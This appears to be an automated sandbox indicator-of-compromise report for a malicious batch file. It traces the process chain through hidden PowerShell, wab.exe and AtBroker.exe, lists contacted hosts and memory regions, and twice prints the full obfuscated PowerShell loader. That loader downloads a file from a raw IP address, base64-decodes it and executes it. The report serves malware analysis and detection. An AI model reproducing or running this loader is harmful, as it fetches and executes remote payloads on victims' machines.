IOC Report
Doc_004024024001.bat

Doc_004024024001.bat

ASCII text, with very long lines (3300), with no line terminators

initial sample

C:\Windows\System32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Doc_004024024001.bat" "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -windowstyle hidden "$Slvtjsskabets3 = 1;$Adoptionsbevillingers='S';$Adoptionsbevillingers+='ubstrin';$Adoptionsbevillingers+='g';Function Takilman203($Prefade){$Unconversable=$Prefade.Length-$Slvtjsskabets3;For($Magnetometrical=1; $Magnetometrical -lt $Unconversable; $Magnetometrical+=(2)){$Cardsharping+=$Prefade.$Adoptionsbevillingers.Invoke($Magnetometrical, $Slvtjsskabets3);}$Cardsharping;}function Roebling($Unmotivatedly){& ($Opmuntringernes) ($Unmotivatedly);}$Glatslebnes=Takilman203 ' M o,zHiSl l,a /F5m.B0G (GWTiInId,o w.sM NfT, 1S0C.,0G;P HWSi,n,6V4 ; Px 6V4S;S .rVvB:L1D2C1N.U0 ). G.e cDk oE/U2M0B1 0P0D1,0b1F FCiSr,eWfCoFx./,1,2R1 . 0A ';$Butikshandlerne=Takilman203 ' U,s e.r - A gUeMnKt ';$Winterfeeding=Takilman203 ',h.tLt,pT:C/,/S8F7 . 1 2 1D..1 0N5N.B1 6A3S/SPSu nDkDt e,t..,hShIp. ';$Lessoning=Takilman203 '.>S ';$Opmuntringernes=Takilman203 'Ki e xP ';$Farvefabrikkerne='Overbrained';Roebling (Takilman203 'bS,eitH-SC o n.t e n.t K-DPUa,tNh, TT,: \.C.hoi s e lAi n.g sI.Gt xDt - V aOlFuSei $,FUa r v eDfFaIbjrDiDk.k.e rLn eT;S ');Roebling (Takilman203 '.i,f. T(,tSe sctu-kp aTtKh, ATF: \kC h i.sBe l iCn.gRsP..tWxStK) {EeUx i t } ;W ');$Electriceel = Takilman203 ' eEcPhOoV %,anp,pRd aGtHar% \BS t rKeCg mGa.aUlRe nRe .GDUiTsr &S&k Ae c,h.o. v$ ';Roebling (Takilman203 ',$ g lroBb aSlK: R uHbHiMcGoWn = (.cTmSdR A/ScD $IERl e,cet,r iPc.e e lF)V ');Roebling (Takilman203 ' $,gEl oAb aUlH:KGGaIrAa n.tAsT=.$AW i n.tSeErFfRe eAd,iTn g..OsHp l,i tB(S$ L ePsUsSo.nSi nDgU)N ');$Winterfeeding=$Garants[0];Roebling (Takilman203 ' $Bg l oFbsaFl :DFAiFn,gAe r vPaHnCtPeRn.= N,eIwe- OKbMjMeCc.t BSMy s.tGePmH.,NueAt,. W.eLb.C.lBiCe,nCtB ');Roebling (Takilman203 'G$NF.i nPgHe rUv aTnstNeWn . HPe a dKe rus [ $EBSu tRiDkSsAhSa n dLl,errRn e ]R=I$TG l a.t s l eSb nMe,si ');$Formatlinietegnets=Takilman203 ' FMi,nFgLe rSv a nBt.eunC.HDFoNw n lSoFaMdWFBi.lTeP(.$AWFiMnOt,eHrEfWeFe dii n,gP,E$FDPuKblbFiKnA)P ';$Formatlinietegnets=$Rubicon[1]+$Formatlinietegnets;$Dubbin=$Rubicon[0];Roebling (Takilman203 'M$ g l,oKb,aVls:,BUeSgMy.nDdPe rGk,o.nMs,t,r,uMkRt iCo n 4 1U=I(.T.e,sHtO-APPa tFhS .$BDvu.bAb.i nI) ');while (!$Begynderkonstruktion41) {Roebling (Takilman203 ',$ gSl oBb aClP:.m aTr.iJn e s,tpa toiFoFnRe rPn.e s =B$ftJr uFe ') ;Roebling $Formatlinietegnets;Roebling (Takilman203 'US.tLaSr tF- SMlBe.e,p K4D ');Roebling (Takilman203 'Y$,g lMobb a,lF: BFe g yTnKd.e rBkPo,nvsSt.rGutk.t,i,o.n 4B1,=I( T e s tA-.PSaSt,hM S$ DLuBbMb i n )I ') ;Roebling (Takilman203 ',$HgUlCo.b,a lT: CIaHr eReMnF= $MgflboAbNaOls:bt.iUl r.e.gPnLeRt,+f+B%s$SG.aDrSa nPt sB. c oIu,nDt ') ;$Winterfeeding=$Garants[$Careen];}Roebling (Takilman203 ' $,gClBo,bSaMl,:BATkHt iLoUn sDe.nShGe dke.nNs, G=s GCeUtG-SCdo n tSe,n tS $GD,u.b b,i nS ');Roebling (Takilman203 'F$AgMlMo b a.l : HSeSaUd m,e n. ,= [ S,y.sNt eEmT.,C osnNv eHrHt ] :,:,FUr o muB aSsEe 6,4GS t,r.itnfgU( $,AEkst i oAn,s,eBn,h e dUe nBs )U ');Roebling (Takilman203 'B$Kg lRo,b,aPlM:KLPn.n i nMgBs.d.a gLe,n. R=, ,[,SRy.s t,e,mS.DTCe xDtO. EMn csofd.i,nSg ] : : A S C IPI .MG e.tRS.t.r,i n gD( $SHBeJa d.mLeEn ) ');Roebling (Takilman203 'S$.g l o,bPaRl :SR e n u.mCm e,rKeSrKePdceBsB= $sLBn,n,ipnag s d aDg eBn..,s u b s,tTrPi nPg (G2.7,5.3P9 0N,H2 6 5 4 1 )V ');Roebling $Renummereredes;"

C:\Windows\System32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Stregmaalene.Dis && echo $"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Slvtjsskabets3 = 1;$Adoptionsbevillingers='S';$Adoptionsbevillingers+='ubstrin';$Adoptionsbevillingers+='g';Function Takilman203($Prefade){$Unconversable=$Prefade.Length-$Slvtjsskabets3;For($Magnetometrical=1; $Magnetometrical -lt $Unconversable; $Magnetometrical+=(2)){$Cardsharping+=$Prefade.$Adoptionsbevillingers.Invoke($Magnetometrical, $Slvtjsskabets3);}$Cardsharping;}function Roebling($Unmotivatedly){& ($Opmuntringernes) ($Unmotivatedly);}$Glatslebnes=Takilman203 ' M o,zHiSl l,a /F5m.B0G (GWTiInId,o w.sM NfT, 1S0C.,0G;P HWSi,n,6V4 ; Px 6V4S;S .rVvB:L1D2C1N.U0 ). G.e cDk oE/U2M0B1 0P0D1,0b1F FCiSr,eWfCoFx./,1,2R1 . 0A ';$Butikshandlerne=Takilman203 ' U,s e.r - A gUeMnKt ';$Winterfeeding=Takilman203 ',h.tLt,pT:C/,/S8F7 . 1 2 1D..1 0N5N.B1 6A3S/SPSu nDkDt e,t..,hShIp. ';$Lessoning=Takilman203 '.>S ';$Opmuntringernes=Takilman203 'Ki e xP ';$Farvefabrikkerne='Overbrained';Roebling (Takilman203 'bS,eitH-SC o n.t e n.t K-DPUa,tNh, TT,: \.C.hoi s e lAi n.g sI.Gt xDt - V aOlFuSei $,FUa r v eDfFaIbjrDiDk.k.e rLn eT;S ');Roebling (Takilman203 '.i,f. T(,tSe sctu-kp aTtKh, ATF: \kC h i.sBe l iCn.gRsP..tWxStK) {EeUx i t } ;W ');$Electriceel = Takilman203 ' eEcPhOoV %,anp,pRd aGtHar% \BS t rKeCg mGa.aUlRe nRe .GDUiTsr &S&k Ae c,h.o. v$ ';Roebling (Takilman203 ',$ g lroBb aSlK: R uHbHiMcGoWn = (.cTmSdR A/ScD $IERl e,cet,r iPc.e e lF)V ');Roebling (Takilman203 ' $,gEl oAb aUlH:KGGaIrAa n.tAsT=.$AW i n.tSeErFfRe eAd,iTn g..OsHp l,i tB(S$ L ePsUsSo.nSi nDgU)N ');$Winterfeeding=$Garants[0];Roebling (Takilman203 ' $Bg l oFbsaFl :DFAiFn,gAe r vPaHnCtPeRn.= N,eIwe- OKbMjMeCc.t BSMy s.tGePmH.,NueAt,. W.eLb.C.lBiCe,nCtB ');Roebling (Takilman203 'G$NF.i nPgHe rUv aTnstNeWn . HPe a dKe rus [ $EBSu tRiDkSsAhSa n dLl,errRn e ]R=I$TG l a.t s l eSb nMe,si ');$Formatlinietegnets=Takilman203 ' FMi,nFgLe rSv a nBt.eunC.HDFoNw n lSoFaMdWFBi.lTeP(.$AWFiMnOt,eHrEfWeFe dii n,gP,E$FDPuKblbFiKnA)P ';$Formatlinietegnets=$Rubicon[1]+$Formatlinietegnets;$Dubbin=$Rubicon[0];Roebling (Takilman203 'M$ g l,oKb,aVls:,BUeSgMy.nDdPe rGk,o.nMs,t,r,uMkRt iCo n 4 1U=I(.T.e,sHtO-APPa tFhS .$BDvu.bAb.i nI) ');while (!$Begynderkonstruktion41) {Roebling (Takilman203 ',$ gSl oBb aClP:.m aTr.iJn e s,tpa toiFoFnRe rPn.e s =B$ftJr uFe ') ;Roebling $Formatlinietegnets;Roebling (Takilman203 'US.tLaSr tF- SMlBe.e,p K4D ');Roebling (Takilman203 'Y$,g lMobb a,lF: BFe g yTnKd.e rBkPo,nvsSt.rGutk.t,i,o.n 4B1,=I( T e s tA-.PSaSt,hM S$ DLuBbMb i n )I ') ;Roebling (Takilman203 ',$HgUlCo.b,a lT: CIaHr eReMnF= $MgflboAbNaOls:bt.iUl r.e.gPnLeRt,+f+B%s$SG.aDrSa nPt sB. c oIu,nDt ') ;$Winterfeeding=$Garants[$Careen];}Roebling (Takilman203 ' $,gClBo,bSaMl,:BATkHt iLoUn sDe.nShGe dke.nNs, G=s GCeUtG-SCdo n tSe,n tS $GD,u.b b,i nS ');Roebling (Takilman203 'F$AgMlMo b a.l : HSeSaUd m,e n. ,= [ S,y.sNt eEmT.,C osnNv eHrHt ] :,:,FUr o muB aSsEe 6,4GS t,r.itnfgU( $,AEkst i oAn,s,eBn,h e dUe nBs )U ');Roebling (Takilman203 'B$Kg lRo,b,aPlM:KLPn.n i nMgBs.d.a gLe,n. R=, ,[,SRy.s t,e,mS.DTCe xDtO. EMn csofd.i,nSg ] : : A S C IPI .MG e.tRS.t.r,i n gD( $SHBeJa d.mLeEn ) ');Roebling (Takilman203 'S$.g l o,bPaRl :SR e n u.mCm e,rKeSrKePdceBsB= $sLBn,n,ipnag s d aDg eBn..,s u b s,tTrPi nPg (G2.7,5.3P9 0N,H2 6 5 4 1 )V ');Roebling $Renummereredes;"

C:\Program Files (x86)\Windows Mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe

"C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe"

C:\Windows\SysWOW64\AtBroker.exe

"C:\Windows\SysWOW64\AtBroker.exe"

C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe

"C:\Program Files (x86)\TEQyXgSnDatkngzhZOVCchQnHjnoGRgXuwOVmnmokOM\iqAcDmQSdyp.exe"

C:\Program Files (x86)\Windows Mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\Firefox.exe"

http://pesterbdd.com/images/Pester.png

unknown

www.megabet303.lol

unknown

2D10000

unclassified section

page execute and read and write

570000

system

page execute and read and write

5BA2000

trusted library allocation

page read and write

252F0000

unclassified section

page execute and read and write

3C00000

unkown

page execute and read and write

A10000

trusted library allocation

page read and write

4F70000

system

page execute and read and write

8830000

direct allocation

page execute and read and write

1C0B94F1000

trusted library allocation

page read and write

9228000

direct allocation

page execute and read and write